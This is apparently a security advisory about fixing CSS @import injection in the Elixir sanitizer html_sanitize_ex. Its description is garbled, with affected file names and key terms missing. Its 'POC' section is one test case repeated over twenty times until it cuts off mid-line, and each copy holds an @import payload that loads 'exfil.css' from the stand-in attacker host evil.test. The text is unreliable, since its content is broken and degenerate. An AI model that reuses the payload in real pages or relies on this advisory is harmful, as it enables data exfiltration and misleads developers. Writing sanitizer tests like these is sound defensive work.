html_sanitize_ex CSS @import Injection Fix

Vulnerability Overview This vulnerability involves improper handling of statements, potentially leading to malicious content injection. Specifically, statements in CSS and HTML files are not correctly filtered or validated, allowing attackers to introduce malicious resources by constructing specific statements. Affected Scope Affected Files: - - - Affected Functionality: - The processing logic for statements in CSS and HTML files. Remediation 1. CSS File Fix: - In , add filtering and validation logic for statements to ensure only legitimate statements are allowed. 2. HTML File Fix: - In , similarly add filtering and validation logic for statements. 3. Test Case Updates: - In , add new test cases to verify that the patched logic correctly handles various statements. POC Code The following is a snippet of POC code demonstrating how the unpatched processing logic can be exploited: ```elixir test/css_test.exs test "should NOT return invalid css / url() for @import do" do input = "$@import url(//evil.test/exfil.css);" input = "$@import url(//evil.test/exfil.css);" assert "" == scrub_css(input) end test "should NOT return invalid css / url() for @import do" do input = "$@import url(//evil.test/exfil.css);" input = "$@import url(//evil.test/exfil.css);" assert "" == scrub_css(input) end test "should NOT return invalid css / url() for @import do" do input = "$@import url(//evil.test/exfil.css);" input = "$@import url(//evil.test/exfil.css);" assert "" == scrub_css(input) end test "should NOT return invalid css / url() for @import do" do input = "$@import url(//evil.test/exfil.css);" input = "$@import url(//evil.test/exfil.css);" assert "" == scrub_css(input) end test "should NOT return invalid css / url() for @import do" do input = "$@import url(//evil.test/exfil.css);" input = "$@import url(//evil.test/exfil.css);" assert "" == scrub_css(input) end test "should NOT return invalid css / url() for @import do" do input = "$@import url(//evil.test/exfil.css);" input = "$@import url(//evil.test/exfil.css);" assert "" == scrub_css(input) end test "should NOT return invalid css / url() for @import do" do input = "$@import url(//evil.test/exfil.css);" input = "$@import url(//evil.test/exfil.css);" assert "" == scrub_css(input) end test "should NOT return invalid css / url() for @import do" do input = "$@import url(//evil.test/exfil.css);" input = "$@import url(//evil.test/exfil.css);" assert "" == scrub_css(input) end test "should NOT return invalid css / url() for @import do" do input = "$@import url(//evil.test/exfil.css);" input = "$@import url(//evil.test/exfil.css);" assert "" == scrub_css(input) end test "should NOT return invalid css / url() for @import do" do input = "$@import url(//evil.test/exfil.css);" input = "$@import url(//evil.test/exfil.css);" assert "" == scrub_css(input) end test "should NOT return invalid css / url() for @import do" do input = "$@import url(//evil.test/exfil.css);" input = "$@import url(//evil.test/exfil.css);" assert "" == scrub_css(input) end test "should NOT return invalid css / url() for @import do" do input = "$@import url(//evil.test/exfil.css);" input = "$@import url(//evil.test/exfil.css);" assert "" == scrub_css(input) end test "should NOT return invalid css / url() for @import do" do input = "$@import url(//evil.test/exfil.css);" input = "$@import url(//evil.test/exfil.css);" assert "" == scrub_css(input) end test "should NOT return invalid css / url() for @import do" do input = "$@import url(//evil.test/exfil.css);" input = "$@import url(//evil.test/exfil.css);" assert "" == scrub_css(input) end test "should NOT return invalid css / url() for @import do" do input = "$@import url(//evil.test/exfil.css);" input = "$@import url(//evil.test/exfil.css);" assert "" == scrub_css(input) end test "should NOT return invalid css / url() for @import do" do input = "$@import url(//evil.test/exfil.css);" input = "$@import url(//evil.test/exfil.css);" assert "" == scrub_css(input) end test "should NOT return invalid css / url() for @import do" do input = "$@import url(//evil.test/exfil.css);" input = "$@import url(//evil.test/exfil.css);" assert "" == scrub_css(input) end test "should NOT return invalid css / url() for @import do" do input = "$@import url(//evil.test/exfil.css);" input = "$@import url(//evil.test/exfil.css);" assert "" == scrub_css(input) end test "should NOT return invalid css / url() for @import do" do input = "$@import url(//evil.test/exfil.css);" input = "$@import url(//evil.test/exfil.css);" assert "" == scrub_css(input) end test "should NOT return invalid css / url() for @import do" do input = "$@import url(//evil.test/exfil.css);" input = "$@import url(//evil.test/exfil.css);" assert "" == scrub_css(input) end test "should NOT return invalid css / url() for @import do" do input = "$@import url(//evil.test/exfil.css);" input = "$@import url(//evil.test/exfil.css);" assert "" == scrub_css(input) end test "should NOT return invalid css / url() for @import do" do input =

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html_sanitize_ex CSS @import Injection Fix

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